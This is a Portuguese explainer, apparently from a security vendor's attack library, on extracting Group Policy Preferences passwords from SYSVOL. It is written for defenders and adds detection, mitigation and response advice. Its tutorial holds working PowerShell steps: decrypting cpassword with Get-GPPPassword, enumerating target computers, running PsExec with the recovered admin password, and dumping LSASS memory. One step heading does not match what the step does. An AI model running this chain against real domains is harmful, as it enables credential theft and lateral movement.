Ataque de Extração de Senha em Texto Simples
A Política de Grupo é essencial na gestão de um ambiente Active Directory. Em particular, os administradores usam-na para gerir centralmente as configurações aplicadas a servidores e estações de trabalho associados ao domínio; essas Políticas de Grupo definem políticas (configurações impostas) e preferências, que propagam configurações padrão que um usuário pode modificar. Infelizmente, a Política de Grupo permitiu que os administradores incorporassem senhas nas preferências da Política de Grupo que criavam usuários locais ou mapeavam unidades de rede — e essas senhas eram criptografadas com uma publicly available key. Portanto, um adversário com a capacidade de ler essas políticas pode facilmente extrair e descriptografar essas senhas. Em 2014, a Microsoft lançou uma security update que remove a capacidade de criar novas preferências com senhas embutidas, mas muitas organizações ainda têm preferências da Política de Grupo que incluem senhas embutidas.
Resumo de Ameaças
Alvo: Active Directory
Ferramentas: PowerSploit, Metasploit
Tática ATT&CK®: Acesso a Credenciais
Técnica ATT&CK: T1552.006
Dificuldade
Detecção: Baixa
Mitigação: Baixa
Resposta: Baixa
Tutorial de Ataque: Como Funciona um Ataque de Extração de Senha em Texto Puro
PASSO 1: Descubra senhas nas preferências de Group Policy
As preferências de Group Policy são armazenadas como arquivos XML na partilha SYSVOL nos controladores de domínio. A partilha SYSVOL é acessível aos Usuários Autenticados, então um adversário que tenha conseguido infiltrar-se na rede pode acessar seu conteúdo. Um adversário pode analisar esses arquivos XML manualmente, procurando por instâncias do atributo CPassword, que contém as senhas criptografadas. Atributos adjacentes fornecem outros detalhes, como o nome de usuário. Ou podem usar ferramentas como o cmdlet Get-GPPPasswords do PowerSploit para automatizar o processo de aquisição e descriptografia dessas senhas, conforme mostrado abaixo.
PS> Import-Module PowerSploit
PS> Get-GPPPassword
Changed : {2020-08-17 11:14:01}
UserNames : {Administrator (built-in)}
NewName : [BLANK]
Passwords : {WhatAGreatPassword123!}
File : \\domain.com\SYSVOL\domain.com\Policies\{5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB}\Machine\Preferences\Groups\Groups.xml
PS>
PASSO 2: Modificar a ACL do AdminSDHolder
Agora que o adversário possui o nome de usuário e senha de um administrador local, ele pode enumerar os computadores no Active Directory nos quais a Política de Grupo é aplicada, o que lhes fornece uma lista de computadores aos quais podem se autenticar usando essas credenciais. Com esta lista, o adversário pode continuar a expandir sua presença dentro da organização. Neste exemplo, o adversário se conecta a outro computador e cria um despejo de memória do processo LSASS.exe para possibilitar movimentos laterais ou escalonamento de privilégios adicionais.
PS> [XML] $XML = Get-GPO -Guid 5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB | Get-GPOReport -ReportType Xml
PS> $XML.GPO.LinksTo
SOMName SOMPath Enabled NoOverride
------- ------- ------- ----------
Comp domain.com/Comp true false
PS> $DN = Get-ADOrganizationalUnit -filter { Name -eq $XML.GPO.LinksTo.SOMName } | Select -expand DistinguishedName
PS> Get-ADComputer -filter "*" -SearchBase $DN
DistinguishedName : CN=Server1,OU=Comp,DC=domain,DC=com
DNSHostName :
Enabled : True
Name : Server1
ObjectClass : computer
ObjectGUID : 4eeec15e-ee84-4195-b5c8-ee4d5d67efbf
SamAccountName : SERVER1$
SID : S-1-5-21-5840559-2756745051-1363507867-16924
UserPrincipalName :
PS> .\PSExec.exe -u Administrator -p WhatAGreatPassword123! \\server1 powershell.exe
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
PS> procdump.exe -accepteula -r -ma lsass.exe lsass.dmp
PS>
Detectar, Mitigar e Responder
Detectar
Dificuldade: Baixa
Devido ao grande volume de operações de leitura que ocorrem em operações normais, não é possível detectar diretamente o acesso de um adversário a esses arquivos. No entanto, é possível realizar uma auditoria de senhas embutidas nas Preferências de Política de Grupo usando as mesmas técnicas que um adversário utilizaria. Usar o cmdlet Get-GPPPassword contra cada domínio irá enumerar as senhas embutidas (note que isso também revelará a senha em texto claro). Alternativamente, o seguinte trecho de PowerShell enumerará as senhas embutidas sem descriptografá-las:
# Replace this path with the path to SYSVOL to check
$SYSVOL_Path = "\\domain.com\sysvol"
Get-ChildItem $SYSVOL_Path -Recurse -File | Select-String -Pattern "cpassword"
# Sample Output using \\domain.com\sysvol
\\domain.com\sysvol\domain.com\Policies\{5AC5C2A3-B893-493E-B03A-D6F9E8BCC8CB}\Machine\Preferences\Groups\Groups.xml:2:<Gro
ups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
name="Administrator (built-in)" image="2" changed="2020-08-17 11:14:01"
uid="{EA0FCA83-45D2-4189-B476-DB595FB29E2D}"><Properties action="U" newName="" fullName="" description="Built-in Local
Admin" cpassword="Pe81R/eXjjPtd5oJw6D0hifqz78ezVt7tD0ViS9eTg+z2dKIvfwMRbD5JPFEA26i" changeLogon="0" noChange="0"
neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (built-in)"/></User>
Mitigar
Dificuldade: Baixa
Resumidamente, todas as senhas embutidas nas preferências de Group Policy devem ser removidas. Adicionalmente:
- Garanta que todos os controladores de domínio estejam executando versões atuais do sistema operacional com as últimas atualizações, pois as versões atuais do Windows Server não permitem a incorporação de senhas nas preferências de Política de Grupo.
- Substitua o uso das preferências de Política de Grupo para definir a senha da conta de administrador local integrada por uma solução robusta como a da Microsoft, a Local Administrator Password Solution (LAPS).
- Adote soluções que substituem senhas embutidas por consultas dinâmicas autenticadas.
Responder
Dificuldade: Baixa
Caso descubra senhas embutidas nas preferências de Group Policy, as seguintes ações podem ser tomadas:
- Remova a senha embutida na preferência de Política de Grupo.
- Redefina a senha para a conta.
Compartilhar em
Ver ataques de cibersegurança relacionados
Abuso de Permissões de Aplicativos Entra ID – Como Funciona e Estratégias de Defesa
Modificação do AdminSDHolder – Como Funciona e Estratégias de Defesa
Ataque AS-REP Roasting - Como Funciona e Estratégias de Defesa
Ataque Hafnium - Como Funciona e Estratégias de Defesa
Ataques DCSync Explicados: Ameaça à Segurança do Active Directory
Ataque a Contas de Serviço Gerenciadas por Grupo
Ataque Golden SAML
Entendendo ataques Golden Ticket
Ataque DCShadow – Como Funciona, Exemplos Reais e Estratégias de Defesa
Injeção de Prompt do ChatGPT: Entendendo Riscos, Exemplos e Prevenção
Ataque de Extração de Senha NTDS.dit
Ataque de Kerberoasting – Como Funciona e Estratégias de Defesa
Ataque Pass the Hash
Ataque Pass-the-Ticket Explicado: Riscos, Exemplos e Estratégias de Defesa
Ataque de Password Spraying
Vulnerabilidade Zerologon Explicada: Riscos, Explorações e Mitigação
Ataques de ransomware ao Active Directory
Desbloqueando o Active Directory com o Ataque Skeleton Key
Movimento Lateral: O que é, Como Funciona e Prevenções
Ataques Man-in-the-Middle (MITM): O que São & Como Preveni-los
Por que o PowerShell é tão popular entre os atacantes?
4 ataques a contas de serviço e como se proteger contra eles
Como Prevenir que Ataques de Malware Afetem o Seu Negócio
O que é Credential Stuffing?
Comprometendo o SQL Server com PowerUpSQL
O que são ataques de Mousejacking e como se defender contra eles
Roubando Credenciais com um Provedor de Suporte de Segurança (SSP)
Ataques de Rainbow Table: Como Funcionam e Como se Defender Contra Eles
Um Olhar Abrangente sobre Ataques de Senha e Como Impedi-los
Reconhecimento LDAP
Bypassando MFA com o ataque Pass-the-Cookie
Ataque Silver Ticket